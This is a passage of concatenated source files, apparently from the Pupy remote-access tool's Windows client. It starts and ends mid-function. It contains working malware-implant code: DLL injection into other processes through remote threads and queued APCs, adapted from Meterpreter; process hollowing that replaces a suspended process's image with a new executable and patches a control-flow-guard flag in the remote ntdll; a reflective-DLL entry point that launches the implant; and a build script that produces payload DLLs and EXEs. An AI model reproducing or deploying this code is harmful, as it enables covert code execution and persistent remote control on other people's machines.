lpReflectiveLoader) % 8192)); if ( !VirtualProtectEx( hProcess, lpExecutableRegion, 16384, PAGE_EXECUTE_READ, &dwOldProtection) ) BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualProtectEx failed" ); // First we try to inject by directly creating a remote thread in the target process if( inject_via_remotethread( hProcess, remoteProcessArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) { dprint( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread...\n"); // If that fails we can try to migrate via a queued APC in the target process if( inject_via_apcthread( hProcess, dwPid, remoteProcessArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" ) } dwResult = ERROR_SUCCESS; } while( 0 ); if( hProcess ) CloseHandle( hProcess ); dprint("[INJECT] Result: %d\n", dwResult); return dwResult; } ================================================ FILE: client/sources-windows-py3/base_inject.h ================================================ /* This code has been taken from meterpreter and modified to be integrated into pupy. original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/ Meterpreter is available for use under the following license, commonly known as the 3-clause (or "modified") BSD license: ========================================================================================= Meterpreter ----------- Copyright (c) 2006-2013, Rapid7 Inc Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Rapid7 nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ //===============================================================================================// #ifndef _METERPRETER_BASE_INJECT_H #define _METERPRETER_BASE_INJECT_H //===============================================================================================// // These are defined in the stdapi projects ps.h file. We should put them somewhere more generic so we dont dup them here. #define PROCESS_ARCH_UNKNOWN 0 #define PROCESS_ARCH_X86 1 #define PROCESS_ARCH_X64 2 #define PROCESS_ARCH_IA64 3 // The three injection techniques currently supported. #define MIGRATE_TECHNIQUE_REMOTETHREAD 0 #define MIGRATE_TECHNIQUE_REMOTETHREADWOW64 1 #define MIGRATE_TECHNIQUE_APCQUEUE 2 //===============================================================================================// // Definition of ntdll!NtQueueApcThread typedef NTSTATUS (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved ); // Definitions used for running native x64 code from a wow64 process (see executex64.asm) typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter ); typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter ); //===============================================================================================// // The context used for injection via migrate_via_apcthread typedef struct _APCCONTEXT { union { LPVOID lpStartAddress; BYTE bPadding1[8]; } s; union { LPVOID lpParameter; BYTE bPadding2[8]; } p; BYTE bExecuted; } APCCONTEXT, * LPAPCCONTEXT; // The context used for injection via migrate_via_remotethread_wow64 typedef struct _WOW64CONTEXT { union { HANDLE hProcess; BYTE bPadding2[8]; } h; union { LPVOID lpStartAddress; BYTE bPadding1[8]; } s; union { LPVOID lpParameter; BYTE bPadding2[8]; } p; union { HANDLE hThread; BYTE bPadding2[8]; } t; } WOW64CONTEXT, * LPWOW64CONTEXT; //===============================================================================================// DWORD inject_via_apcthread(HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); DWORD inject_via_remotethread(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread); DWORD inject_dll(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, const char * cpCommandLine, int is64bits); //===============================================================================================// #endif //===============================================================================================// ================================================ FILE: client/sources-windows-py3/build-docker.sh ================================================ #!/bin/sh PACKAGES_BUILD="netifaces msgpack-python u-msgpack-python construct bcrypt watchdog dukpy impacket zeroconf ushlex" PACKAGES_BUILD="$PACKAGES_BUILD pycryptodomex pycryptodome cryptography pyOpenSSL paramiko" PACKAGES="rsa pefile win_inet_pton netaddr pywin32 win_inet_pton dnslib" PACKAGES="$PACKAGES pyaudio https://github.com/secdev/scapy/archive/master.zip colorama pyaudio" PACKAGES="$PACKAGES https://github.com/alxchk/pypykatz/archive/master.zip" PACKAGES="$PACKAGES https://github.com/warner/python-ed25519/archive/master.zip" PACKAGES="$PACKAGES https://github.com/alxchk/tinyec/archive/master.zip" PACKAGES="$PACKAGES https://github.com/alxchk/urllib-auth/archive/master.zip" PACKAGES="$PACKAGES https://github.com/alxchk/winkerberos/archive/master.zip" PACKAGES="$PACKAGES https://github.com/alxchk/pyuv/archive/v1.x.zip" PACKAGES="$PACKAGES idna http-parser pyodbc wmi" PACKAGES="$PACKAGES psutil==5.9.2" SUFFIX="-`$PYTHON64 -c 'import sys;sys.stdout.write((chr.__call__(0)[0:0]).join([str(x) for x in sys.version_info[0:2]]));sys.stdout.flush()'`" echo "Building with python version suffix: $SUFFIX" SELF=$(readlink -f "$0") SELFPWD=$(dirname "$SELF") SRC=${SELFPWD:-$(pwd)} PUPY=$(readlink -f ../../pupy) cd $SRC EXTERNAL=$(readlink -f ../../pupy/external) TEMPLATES=$(readlink -f ../../pupy/payload_templates) WINPTY=$EXTERNAL/winpty PYKCP=$EXTERNAL/pykcp PYOPUS=$EXTERNAL/pyopus/src $PYTHON32 -m pip install -q --upgrade pylzma $PYTHON64 -m pip install -q --upgrade pylzma SKIP_TO_BUILD=0 if [ ! "$SKIP_TO_BUILD" -eq "1" ]; then echo "[+] Install python packages" for PYTHON in $PYTHON32 $PYTHON64; do $PYTHON -m pip install -q --upgrade pip $PYTHON -m pip install -q --upgrade setuptools cython # Still problems here $PYTHON -m pip install -q --upgrade pynacl $PYTHON -m pip install --upgrade pycryptodome $PYTHON -m pip install --upgrade $PACKAGES_BUILD NO_JAVA=1 \ $PYTHON -m pip install --upgrade --force-reinstall \ https://github.com/alxchk/pyjnius/archive/master.zip $PYTHON -m pip install --upgrade --force-reinstall \ https://github.com/alxchk/scandir/archive/master.zip $PYTHON -m pip install --upgrade $PACKAGES $PYTHON -c "from Crypto.Cipher import AES; AES.new" if [ ! $? -eq 0 ]; then echo "pycryptodome build failed" exit 1 fi rm -rf $PYKCP/{kcp.so,kcp.pyd,kcp.dll,build,KCP.egg-info} $PYTHON -m pip install --upgrade --force $PYKCP $PYTHON -c 'import kcp' || exit 1 done for PYTHON in $PYTHON32 $PYTHON64; do $PYTHON -m pip install -q --force pycparser done #cd $PYOPUS #echo "[+] Compile opus /32" #git clean -fdx #make -f Makefile.msvc CL=$CL32 #mv opus.pyd ${PYTHONPATH32}/Lib/site-packages/ #echo "[+] Compile opus /64" #git clean -fdx #make -f Makefile.msvc CL=$CL64 #mv -f opus.pyd ${PYTHONPATH64}/Lib/site-packages/ echo "[+] Compile winpty /32" rm -f $WINPTY/build/winpty.dll make -C ${WINPTY} clean make -C ${WINPTY} MINGW_CXX="${MINGW32}-win32 -mabi=ms -Os" V=1 build/winpty.dll if [ ! -f $WINPTY/build/winpty.dll ]; then echo "WinPTY/x86 build failed" exit 1 fi mv $WINPTY/build/winpty.dll ${PYTHONPATH32}/DLLs/ echo "[+] Compile winpty /64" rm -f $WINPTY/build/winpty.dll make -C ${WINPTY} clean make -C ${WINPTY} MINGW_CXX="${MINGW64}-win32 -mabi=ms -Os" V=1 build/winpty.dll if [ ! -f $WINPTY/build/winpty.dll ]; then echo "WinPTY/x64 build failed" exit 1 fi mv ${WINPTY}/build/winpty.dll ${PYTHONPATH64}/DLLs/ echo "[+] Build templates /32" cd ${PYTHONPATH32} rm -f ${TEMPLATES}/windows-x86${SUFFIX}.zip for dir in Lib DLLs; do cd $dir zip -q -y \ -x "*.a" -x "*.o" -x "*.whl" -x "*.txt" -x "*.pyo" -x "*.pyc" -x "*.chm" \ -x "*test/*" -x "*tests/*" -x "*examples/*" -x "pythonwin/*" \ -x "idlelib/*" -x "lib-tk/*" -x "tk*" -x "tcl*" \ -x "*.egg-info/*" -x "*.dist-info/*" -x "*.exe" \ -r9 ${TEMPLATES}/windows-x86${SUFFIX}.zip . cd - done cd ${PYTHONPATH64} rm -f ${TEMPLATES}/windows-amd64${SUFFIX}.zip echo "[+] Build templates /64" for dir in Lib DLLs; do cd $dir zip -q -y \ -x "*.a" -x "*.o" -x "*.whl" -x "*.txt" -x "*.pyo" -x "*.pyc" -x "*.chm" \ -x "*test/*" -x "*tests/*" -x "*examples/*" -x "pythonwin/*" \ -x "idlelib/*" -x "lib-tk/*" -x "tk*" -x "tcl*" \ -x "*.egg-info/*" -x "*.dist-info/*" -x "*.exe" \ -r9 ${TEMPLATES}/windows-amd64${SUFFIX}.zip . cd - done fi echo "[+] Build pupy" TARGETS="pupyx64d${SUFFIX}.dll pupyx64d${SUFFIX}.exe pupyx64${SUFFIX}.dll pupyx64${SUFFIX}.exe" TARGETS="$TARGETS pupyx86d${SUFFIX}.dll pupyx86d${SUFFIX}.exe pupyx86${SUFFIX}.dll pupyx86${SUFFIX}.exe" TARGETS="$TARGETS " cd ${SRC} for target in $TARGETS; do rm -f $TEMPLATES/$target; done set -e #make -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 FEATURE_POSTMORTEM=1 ARCH=32 make -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 ARCH=32 clean make -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 ARCH=32 make -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 ARCH=32 clean make -f Makefile -j BUILDENV=/opt FEATURE_DYNLOAD=1 ARCH=32 clean make -f Makefile -j BUILDENV=/opt FEATURE_DYNLOAD=1 ARCH=32 make -f Makefile -j BUILDENV=/opt FEATURE_DYNLOAD=1 ARCH=32 clean make -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 ARCH=64 clean make -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 ARCH=64 make -f Makefile -j BUILDENV=/opt DEBUG=1 FEATURE_DYNLOAD=1 ARCH=64 clean make -f Makefile -j BUILDENV=/opt FEATURE_DYNLOAD=1 ARCH=64 clean make -f Makefile -j BUILDENV=/opt FEATURE_DYNLOAD=1 ARCH=64 make -f Makefile -j BUILDENV=/opt FEATURE_DYNLOAD=1 ARCH=64 clean for object in $TARGETS; do if [ -z "$object" ]; then continue fi if [ ! -f $TEMPLATES/$object ]; then echo "[-] $object - failed" FAILED=1 fi done if [ -z "$FAILED" ]; then echo "[+] Build complete" else echo "[-] Build failed" exit 1 fi ================================================ FILE: client/sources-windows-py3/in-mem-exe.c ================================================ /* * Prototype for in-memory executable execution. * * Improvements that need to be made: * * - Support passing arguments to the executable * - General testing with various executables * * skape * mmiller@hick.org * 05/09/2005 * * x64 implementation RageLtMan [at] sempervictus.com * - original PE based method by steve10120 [at] ic0de.org */ //#include "precomp.h" #ifndef _WIN32 typedef ULONG NTSTATUS; #endif typedef enum _PROCESSINFOCLASS { ProcessBasicInformation = 0, } PROCESSINFOCLASS; typedef struct _MINI_PEB { ULONG Flags; LPVOID Mutant; LPVOID ImageBaseAddress; } MINI_PEB, *PMINI_PEB; typedef struct _PROCESS_BASIC_INFORMATION { NTSTATUS ExitStatus; PMINI_PEB PebBaseAddress; ULONG AffinityMask; ULONG BasePriority; HANDLE UniqueProcessId; HANDLE InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION; BOOL MapNewExecutableRegionInProcess( IN HANDLE TargetProcessHandle, IN HANDLE TargetThreadHandle, IN LPVOID NewExecutableRawImage); // // Maps the contents of the executable image into the new process and unmaps // the original executable. All necessary fixups are performed to allow the // transfer of execution control the new executable in a seamless fashion. // #ifdef _WIN64 // // based on MemExec64 source by steve10120 [at] ic0de.org // clever method of getting contextinformation for entry point data, x64 doesnt give us ThreadContext.Eax // adaptation for in-mem-exe.c by RageLtMan // TODO: add wow64 launcher, add src/target image arch checks // BOOL MapNewExecutableRegionInProcess( IN HANDLE TargetProcessHandle, IN HANDLE TargetThreadHandle, IN LPVOID NewExecutableRawImage); typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); typedef LONG (WINAPI *NtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG); DWORD_PTR Align(DWORD_PTR Value, DWORD_PTR Alignment) { DWORD_PTR dwResult = Value; if (Alignment > 0) { if ((Value % Alignment) > 0) dwResult = (Value + Alignment) - (Value % Alignment); } return dwResult; } BOOL MapNewExecutableRegionInProcess( IN HANDLE TargetProcessHandle, IN HANDLE TargetThreadHandle, IN LPVOID NewExecutableRawImage) { PROCESS_INFORMATION BasicInformation; PIMAGE_SECTION_HEADER SectionHeader; PIMAGE_DOS_HEADER DosHeader; PIMAGE_NT_HEADERS NtHeader64; DWORD_PTR dwImageBase; NtUnmapViewOfSection pNtUnmapViewOfSection; NtQueryInformationProcess pNtQueryInformationProcess; LPVOID pImageBase; SIZE_T dwBytesWritten; SIZE_T dwBytesRead; int Count; CONTEXT ThreadContext; PMINI_PEB ProcessPeb; ULONG SizeOfBasicInformation; BYTE iBrk = 0xCC; BYTE iOriginal = 0x0; HMODULE hNtlDll = NULL; PBYTE pRtlUserThreadStart = NULL; PBYTE pLdrSystemDllInitBlock = NULL; PULONGLONG pulFlag = NULL; ULONGLONG ulFlags = 0; LONGLONG ulDiff = 0; LONGLONG ulOriginalFlags = 0; DosHeader = (PIMAGE_DOS_HEADER)NewExecutableRawImage; if (DosHeader->e_magic != IMAGE_DOS_SIGNATURE) return FALSE; NtHeader64 = (PIMAGE_NT_HEADERS64)((DWORD_PTR) NewExecutableRawImage + DosHeader->e_lfanew); if (NtHeader64->Signature != IMAGE_NT_SIGNATURE) return FALSE; RtlZeroMemory(&ThreadContext, sizeof(ThreadContext)); RtlZeroMemory(&BasicInformation, sizeof(PROCESS_INFORMATION)); ThreadContext.ContextFlags = CONTEXT_FULL; if (!GetThreadContext(TargetThreadHandle, &ThreadContext)) return FALSE; if (!ReadProcessMemory( TargetProcessHandle, (LPCVOID)(ThreadContext.Rdx + 16), &dwImageBase, sizeof(DWORD_PTR), &dwBytesRead)) return FALSE; pImageBase = VirtualAllocEx( TargetProcessHandle, (LPVOID)NtHeader64->OptionalHeader.ImageBase, NtHeader64->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE ); if (!pImageBase || (DWORD_PTR) pImageBase != NtHeader64->OptionalHeader.ImageBase) return FALSE; if (!WriteProcessMemory( TargetProcessHandle, pImageBase, (LPCVOID)NewExecutableRawImage, NtHeader64->OptionalHeader.SizeOfHeaders, &dwBytesWritten)) return FALSE; SectionHeader = IMAGE_FIRST_SECTION(NtHeader64); for (Count = 0; Count < NtHeader64->FileHeader.NumberOfSections; Count++) { if (!WriteProcessMemory( TargetProcessHandle, (LPVOID) ((DWORD_PTR)pImageBase + SectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)NewExecutableRawImage + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, &dwBytesWritten)) return FALSE; SectionHeader++; } WriteProcessMemory( TargetProcessHandle, (LPVOID)(ThreadContext.Rdx + 16), (LPVOID)&NtHeader64->OptionalHeader.ImageBase, sizeof(DWORD_PTR), &dwBytesWritten ); ThreadContext.Rcx = (DWORD_PTR) pImageBase + NtHeader64->OptionalHeader.AddressOfEntryPoint; SetThreadContext( TargetThreadHandle, &ThreadContext ); // CFG Workaround? // Check own flag // // Find offset for ntdll!RtlUserThreadStart == RIP // Find offset for ntdll!LdrSystemDllInitBlock // Find diff in current process // Expect that diff is same in parent process // current ntdll (ntdll!LdrSystemDllInitBlock+0xa8) // Check value in remote process // If 2000100000000010 - replace to 2000000000000000 hNtlDll = GetModuleHandleA("NTDLL.DLL"); if (hNtlDll) { pRtlUserThreadStart = (PBYTE) GetProcAddress( hNtlDll, "RtlUserThreadStart"); pLdrSystemDllInitBlock = (PBYTE) GetProcAddress( hNtlDll, "LdrSystemDllInitBlock"); if (pLdrSystemDllInitBlock && pRtlUserThreadStart) { pulFlag = (PULONGLONG) (pLdrSystemDllInitBlock + 0xa8); if (*pulFlag == 0x2000100000000010L) { ulDiff = ((LONGLONG) pLdrSystemDllInitBlock) - \ ((LONGLONG) pRtlUserThreadStart); } } } if (ulDiff) { ReadProcessMemory( TargetProcessHandle, (PVOID)(ThreadContext.Rip + ulDiff + 0xa8), &ulOriginalFlags, sizeof(ulOriginalFlags), &dwBytesRead); if (ulOriginalFlags == 0x2000100000000010L) { ulOriginalFlags = 0x2000000000000000L; WriteProcessMemory( TargetProcessHandle, (PVOID) (ThreadContext.Rip + ulDiff + 0xa8), &ulOriginalFlags, sizeof(ulOriginalFlags), &dwBytesRead); } } return ResumeThread(TargetThreadHandle) != (DWORD) -1; } #else BOOL MapNewExecutableRegionInProcess( IN HANDLE TargetProcessHandle, IN HANDLE TargetThreadHandle, IN LPVOID NewExecutableRawImage) { PROCESS_BASIC_INFORMATION BasicInformation; PIMAGE_SECTION_HEADER SectionHeader; PIMAGE_DOS_HEADER DosHeader; PIMAGE_NT_HEADERS NtHeader; PMINI_PEB ProcessPeb; NTSTATUS (NTAPI *NtUnmapViewOfSection)(HANDLE, LPVOID) = NULL; NTSTATUS (NTAPI *NtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG) = NULL; NTSTATUS Status; CONTEXT ThreadContext; LPVOID OldEntryPoint = NULL; LPVOID TargetImageBase = NULL; ULONG SectionIndex = 0; ULONG SizeOfBasicInformation; BOOL Success = FALSE; // // Error checking? Bah. // DosHeader = (PIMAGE_DOS_HEADER)NewExecutableRawImage; NtHeader = (PIMAGE_NT_HEADERS)((PCHAR)NewExecutableRawImage + DosHeader->e_lfanew); do { // // Get the old entry point address by inspecting eax of the current // thread (which should be BaseProcessStart). Eax holds the address // of the entry point for the executable when the process is created // suspended. // ZeroMemory( &ThreadContext, sizeof(ThreadContext)); ThreadContext.ContextFlags = CONTEXT_INTEGER; if (!GetThreadContext( TargetThreadHandle, &ThreadContext)) { break; } OldEntryPoint = (LPVOID) NtHeader->OptionalHeader.ImageBase; // // Unmap the old executable region in the child process to avoid // conflicts // NtUnmapViewOfSection = (NTSTATUS (NTAPI *)(HANDLE, LPVOID))GetProcAddress( GetModuleHandle( TEXT("NTDLL")), "NtUnmapViewOfSection"); NtUnmapViewOfSection(TargetProcessHandle, OldEntryPoint); // // Change the entry point address to the new executable's entry point // ThreadContext.Eax = NtHeader->OptionalHeader.AddressOfEntryPoint + NtHeader->OptionalHeader.ImageBase; if (!SetThreadContext( TargetThreadHandle, &ThreadContext)) break; // // Allocate storage for the new executable in the child process // if (!(TargetImageBase = VirtualAllocEx( TargetProcessHandle, (LPVOID)NtHeader->OptionalHeader.ImageBase, NtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE))) break; // // Update the executable's image base address in the PEB... // NtQueryInformationProcess = (NTSTATUS (NTAPI *)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG))GetProcAddress( GetModuleHandle( TEXT("NTDLL")), "NtQueryInformationProcess"); if (NtQueryInformationProcess( TargetProcessHandle, ProcessBasicInformation, &BasicInformation, sizeof(BasicInformation), &SizeOfBasicInformation) != ERROR_SUCCESS) break; ProcessPeb = BasicInformation.PebBaseAddress; if (!WriteProcessMemory( TargetProcessHandle, (LPVOID)&ProcessPeb->ImageBaseAddress, (LPVOID)&NtHeader->OptionalHeader.ImageBase, sizeof(LPVOID), NULL)) break; // // Copy the image headers and all of the section contents // if (!WriteProcessMemory( TargetProcessHandle, TargetImageBase, NewExecutableRawImage, NtHeader->OptionalHeader.SizeOfHeaders, NULL)) break; Success = TRUE; for (SectionIndex = 0, SectionHeader = IMAGE_FIRST_SECTION(NtHeader); SectionIndex < NtHeader->FileHeader.NumberOfSections; SectionIndex++) { // // Skip uninitialized data // if ((!SectionHeader[SectionIndex].SizeOfRawData) || (SectionHeader[SectionIndex].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)) continue; if (!WriteProcessMemory( TargetProcessHandle, (LPVOID)((PCHAR)TargetImageBase + SectionHeader[SectionIndex].VirtualAddress), (LPVOID)((PCHAR)NewExecutableRawImage + SectionHeader[SectionIndex].PointerToRawData), SectionHeader[SectionIndex].SizeOfRawData, NULL)) { Success = FALSE; break; } } } while (0); return Success; } #endif /* _WIN64 */ ================================================ FILE: client/sources-windows-py3/main_exe.c ================================================ #include #include #include #include #include #include #include #include "pupy_load.h" #include "debug.h" #ifdef HAVE_WINDOW int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszCmdLine, int nCmdShow) { DWORD dwExitCode; #ifdef DEBUG AttachConsole(-1); #else FreeConsole(); #endif dprint("Have window\n"); #else int main() { DWORD dwExitCode; dprint("No window\n"); #endif dprint("Initialization...\n"); initialize(FALSE); dprint("Execution...\n"); dwExitCode = execute(NULL); dprint("Deinitialization...\n"); deinitialize(); dprint("Exit\n"); return dwExitCode; } void setup_jvm_class(void) {} ================================================ FILE: client/sources-windows-py3/main_reflective.c ================================================ /* # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms */ #include #include "pupy_load.h" #include "debug.h" #include "ReflectiveLoader.h" #include "Python-dynload.h" #include "jni_on_load.c" HINSTANCE hAppInstance; #define REFLECTIVE_SPECIAL 5 HANDLE hThread = NULL; //===============================================================================================// DWORD WINAPI delayedMainThread(LPVOID lpArg) { Sleep(1000); return execute(lpArg); } __declspec(dllexport) VOID WINAPI Launch() { execute(NULL); } BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) { DWORD threadId; BOOL bReturnValue = TRUE; dprint("Call DllMain %d/%p\n", dwReason, lpReserved); switch( dwReason ) { case DLL_QUERY_HMODULE: if( lpReserved != NULL ) *(HMODULE *)lpReserved = hAppInstance; break; case DLL_THREAD_ATTACH: break; case DLL_PROCESS_ATTACH: hAppInstance = hinstDLL; initialize(TRUE); if (lpReserved == (LPVOID) 0x1) { dprint("Special: Request for non-delayed thread\n"); execute(NULL); return TRUE; } if (!hThread && lpReserved != (LPVOID) 0x2) { dprint("Creating delayed thread from DllMain\n"); hThread = CreateThread( NULL, 0, // dwStackSize (LPTHREAD_START_ROUTINE) delayedMainThread, // lpStartAddress NULL, // lpParameter 0, // dwCreationFlags (0==run right after creation) &threadId ); } break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: dprint("Call deinitializer: %d\n", dwReason); if (hThread) { dprint("Wait until %p exited, reason: %d\n", hThread, dwReason); WaitForMultipleObjects(1, &hThread, TRUE, INFINITE); dprint("%p exited, completed\n", hThread); } deinitialize(); break; } dprint("Call DllMain - completed\n"); return bReturnValue; } ================================================ FILE: client/sources-windows-py3/postmortem.c ================================================ #include #include #define PYTHON_DYNLOAD_OS_NO_BLOBS #include "postmortem.h" #include "debug.h" #include "MyLoadLibrary.h" #include "Python-stacktrace.h" #include "Python-stacktrace.c" #define ECODE(x) EXCEPTION_ ## x, # x typedef BOOL (WINAPI *tGetPolicy)(LPDWORD lpFlags); typedef BOOL (WINAPI *tSetPolicy)(DWORD dwFlags); typedef struct _EXCMSG { DWORD dwExceptionCode; LPCSTR pszExceptionHuman; } EXCMSG, *PEXCMSG; static LPCSTR code2str(DWORD dwExceptionCode) { size_t i; static const EXCMSG messages[] = { ECODE(ACCESS_VIOLATION), ECODE(ARRAY_BOUNDS_EXCEEDED), ECODE(BREAKPOINT), ECODE(DATATYPE_MISALIGNMENT), ECODE(FLT_DENORMAL_OPERAND), ECODE(FLT_DIVIDE_BY_ZERO), ECODE(FLT_INEXACT_RESULT), ECODE(FLT_INVALID_OPERATION), ECODE(FLT_OVERFLOW), ECODE(FLT_STACK_CHECK), ECODE(FLT_UNDERFLOW), ECODE(ILLEGAL_INSTRUCTION), ECODE(IN_PAGE_ERROR), ECODE(INT_DIVIDE_BY_ZERO), ECODE(INT_OVERFLOW), ECODE(INVALID_DISPOSITION), ECODE(NONCONTINUABLE_EXCEPTION), ECODE(PRIV_INSTRUCTION), ECODE(SINGLE_STEP), ECODE(STACK_OVERFLOW), }; for (i = 0; i 0) return WriteFile( hExceptionInfoFile, module_info_buf, module_info_buf_size, &dwWritten, NULL ); return FALSE; } static void SavePythonStackTrace( PVOID pvCallbackData, LPCSTR pszFunction, LPCSTR pszFile, DWORD dwLine) { CHAR buffer[8192]; DWORD dwWritten; int buffer_len; HANDLE hExceptionInfoFile = (HANDLE) pvCallbackData; if (pszFile == NULL) { buffer_len = snprintf( buffer, sizeof(buffer)-1, "\n%s [%d]\n", pszFunction, dwLine ); } else { dprint("Python stack: %s %s:%d\n", pszFunction, pszFile, dwLine); buffer_len = snprintf( buffer, sizeof(buffer)-1, "+ %s\t%s:%d\n", pszFunction, pszFile, dwLine ); } if (buffer_len > 0) WriteFile( hExceptionInfoFile, buffer, buffer_len, &dwWritten, NULL ); } #ifdef _WIN64 static PVOID WINAPI PupyFunctionTableAccess(HANDLE hProcess, DWORD64 AddrBase) { // hProcess - Ignoree DWORD64 ImageBase; return RtlLookupFunctionEntry((PVOID) AddrBase, &ImageBase, NULL); } #endif static #ifdef _WIN64 DWORD64 WINAPI PupyGetModuleBase(HANDLE hProcess, DWORD64 pvAddr) #else DWORD WINAPI PupyGetModuleBase(HANDLE hProcess, DWORD pvAddr) #endif { // hProcess - Ignoree PVOID pvModuleBase = NULL; if (MyFindMemoryModuleNameByAddr(pvAddr, NULL, &pvModuleBase, NULL)) return pvModuleBase; else if (GetModuleHandleExA( GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,(LPCSTR) pvAddr, &pvModuleBase)) return pvModuleBase; else return 0; } static VOID SaveContextStack(HMODULE hDbgHelp, HANDLE hExceptionInfoFile, PCONTEXT pContext) { BOOL result; BOOL blSymbolFound; HANDLE process; HANDLE thread; ULONG frame; DWORD dwWritten; CHAR buffer[1024]; int buffer_len; #ifdef _WIN64 STACKFRAME64 stack; IMAGEHLP_SYMBOL_STORAGE64 symbol_storage; PIMAGEHLP_SYMBOL64 symbol = &(symbol_storage.symbol); DWORD64 displacement; SymSetOptions_t pSymSetOptions = (SymSetOptions_t) GetProcAddress(hDbgHelp, "SymSetOptions"); SymInitialize_t pSymInitialize = (SymInitialize_t) GetProcAddress(hDbgHelp, "SymInitialize"); SymGetSymFromAddr64_t pSymGetSymFromAddr64 = (SymGetSymFromAddr64_t) GetProcAddress(hDbgHelp, "SymGetSymFromAddr64"); StackWalk_t pStackWalk = (StackWalk_t) GetProcAddress(hDbgHelp, "StackWalk64"); if (! (pSymGetSymFromAddr64 && pStackWalk)) { dprint("Not all functions find at dbghelp\n"); return; } #else STACKFRAME stack; IMAGEHLP_SYMBOL_STORAGE symbol_storage; PIMAGEHLP_SYMBOL symbol = &(symbol_storage.symbol); DWORD displacement; SymSetOptions_t pSymSetOptions = (SymSetOptions_t) GetProcAddress(hDbgHelp, "SymSetOptions"); SymInitialize_t pSymInitialize = (SymInitialize_t) GetProcAddress(hDbgHelp, "SymInitialize"); SymFunctionTableAccess_t pSymFunctionTableAccess = (SymFunctionTableAccess_t) GetProcAddress(hDbgHelp, "SymFunctionTableAccess"); SymGetSymFromAddr_t pSymGetSymFromAddr = (SymGetSymFromAddr_t) GetProcAddress(hDbgHelp, "SymGetSymFromAddr"); StackWalk_t pStackWalk = (StackWalk_t) GetProcAddress(hDbgHelp, "StackWalk"); if (! (pSymFunctionTableAccess && pSymGetSymFromAddr && pStackWalk)) { dprint("Not all functions find at dbghelp\n"); return; } #endif if (!pContext) { dprint("pContext is NULL\n"); return; } pSymSetOptions( SYMOPT_NO_PROMPTS | SYMOPT_NO_IMAGE_SEARCH | SYMOPT_IGNORE_NT_SYMPATH | \ SYMOPT_DISABLE_SYMSRV_AUTODETECT | SYMOPT_DEFERRED_LOADS ); pSymInitialize( GetCurrentProcess(), NULL, TRUE ); memset(&stack, 0, sizeof(stack)); process = GetCurrentProcess(); thread = GetCurrentThread(); displacement = 0; stack.AddrPC.Mode = AddrModeFlat; stack.AddrStack.Mode = AddrModeFlat; stack.AddrFrame.Mode = AddrModeFlat; #ifdef _WIN64 stack.AddrPC.Offset = pContext->Rip; stack.AddrStack.Offset = pContext->Rsp; 